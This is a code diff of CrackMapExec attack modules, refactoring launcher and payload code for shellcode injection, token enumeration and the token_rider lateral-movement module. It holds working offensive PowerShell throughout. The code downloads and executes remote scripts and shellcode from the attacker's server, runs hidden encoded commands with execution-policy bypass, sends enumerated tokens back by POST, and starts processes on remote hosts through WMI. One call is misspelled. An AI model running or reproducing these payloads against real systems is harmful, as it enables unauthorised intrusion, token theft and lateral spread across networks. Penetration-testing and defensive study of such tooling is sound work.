description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
PATH Path to the raw shellcode to inject
@ -31,36 +33,35 @@ class CMEModule:
if 'PROCID' in module_options.keys():
self.procid = module_options['PROCID']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = """
def launcher(self, context, command):
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
shellcode=os.path.basename(self.shellcode_path))
if self.procid:
payload += ' -ProcessID {}'.format(self.procid)
launcher += ' -ProcessID {}'.format(self.procid)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
return create_ps_command(launcher, force_ps32=True)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
elif os.path.basename(self.shellcode_path) == request.path[1:]:
request.send_response(200)

View File

@ -1,5 +1,5 @@
from StringIO import StringIO
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script, get_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from base64 import b64encode
import sys
import os
@ -16,16 +16,18 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'tokenrider'
name = 'token_rider'
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
chain_support = True
def options(self, context, module_options):
'''
TARGET Target machine(s) to execute the command on (comma seperated)
USER User to impersonate
DOMAIN Domain of the user to impersonate
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
@ -33,20 +35,21 @@ class CMEModule:
context.log.error('TARGET, USER and DOMAIN options are required!')
sys.exit(1)
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
context.log.error('CMD or CMDFILE options are required!')
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
sys.exit(1)
if 'CMD' in module_options and 'CMDFILE' in module_options:
context.log.error('CMD and CMDFILE are mutually exclusive!')
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
sys.exit(1)
self.target_computers = ''
self.target_user = module_options['USER']
self.target_domain = module_options['DOMAIN']
if 'CMD' in module_options:
self.command = module_options['CMD']
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
@ -62,12 +65,9 @@ class CMEModule:
self.target_computers += '"{}",'.format(target)
self.target_computers = self.target_computers[:-1]
self.obfs_name = gen_random_string()
#context.log.debug('Target system string: {}'.format(self.target_computers))
def on_admin_login(self, context, connection):
def launcher(self, context, command):
second_stage = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
@ -75,8 +75,8 @@ class CMEModule:
port=context.server_port)
context.log.debug(second_stage)
#Main payload
payload = '''
#Main launcher
launcher = '''
function Send-POSTRequest {{
[CmdletBinding()]
Param (
@ -94,7 +94,7 @@ class CMEModule:
}}
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$tokens = Invoke-{obfs_func} -Enum;
$tokens = Invoke-TokenManipulation -Enum;
foreach ($token in $tokens){{
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
@ -103,31 +103,72 @@ class CMEModule:
$post_back = $post_back + $token_desc;
Send-POSTRequest $post_back
Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
return
}}
}}
Send-POSTRequest "User token not present on system!"'''.format(obfs_func=self.obfs_name,
command=b64encode(second_stage.encode('UTF-16LE')),
Send-POSTRequest "User token not present on system!"'''.format(command=b64encode(second_stage.encode('UTF-16LE')),
server=context.server,
addr=context.localip,
port=context.server_port,
user=self.target_user,
domain=self.target_domain)
context.log.debug(payload)
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec'])
context.log.success('Executed payload')
return create_ps_command(launcher)
def on_request(self, context, request):
def payload(self, context, command):
command_to_execute = 'cmd.exe /c {}'.format(command)
#context.log.debug(command_to_execute)
#This will get executed in the process that was created with the impersonated token
payload = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
$post_output = "";
$targets = @({targets});
foreach ($target in $targets){{
try{{
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
$post_output = $post_output + "Executed command on $target! `n";
}} catch {{
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
}}
}}
Send-POSTRequest $post_output'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
targets=self.target_computers,
command=command_to_execute)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
elif 'TokenRider.ps1' == request.path[1:]:
@ -135,45 +176,7 @@ class CMEModule:
request.end_headers()
#Command to execute on the target system(s)
command_to_execute = 'cmd.exe /c {}'.format(self.command)
#context.log.debug(command_to_execute)
#This will get executed in the process that was created with the impersonated token
elevated_ps_command = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
$post_output = "";
$targets = @({targets});
foreach ($target in $targets){{
try{{
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
$post_output = $post_output + "Executed command on $target! `n";
}} catch {{
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
}}
}}
Send-POSTRequest $post_output'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
targets=self.target_computers,
command=command_to_execute)
request.wfile.write(elevated_ps_command)
request.wfile.write(payload)
else:
request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, get_ps_script, write_log
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from datetime import datetime
from StringIO import StringIO
import os
@ -14,6 +14,8 @@ class CMEModule:
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
chain_support = False
def options(self, context, module_options):
'''
USER Search for the specified username in available tokens (default: None)
@ -39,13 +41,10 @@ class CMEModule:
self.userfile = path
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = '''
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
$creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
@ -56,22 +55,24 @@ class CMEModule:
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name)
addr=context.localip)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
return reate_ps_command(launcher)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
else:
request.send_response(404)

View File

@ -3,6 +3,7 @@ from setuptools import setup, find_packages
setup(name='crackmapexec',
version='3.1.5-dev',
description='A swiss army knife for pentesting Windows/Active Directory environments',
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
classifiers=[
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2.7',
@ -16,7 +17,7 @@ setup(name='crackmapexec',
"cme", "cme.*"
]),
install_requires=[
'impacket>=0.9.15',
'impacket>=0.9.16dev',
'gevent',
'netaddr',
'pyOpenSSL',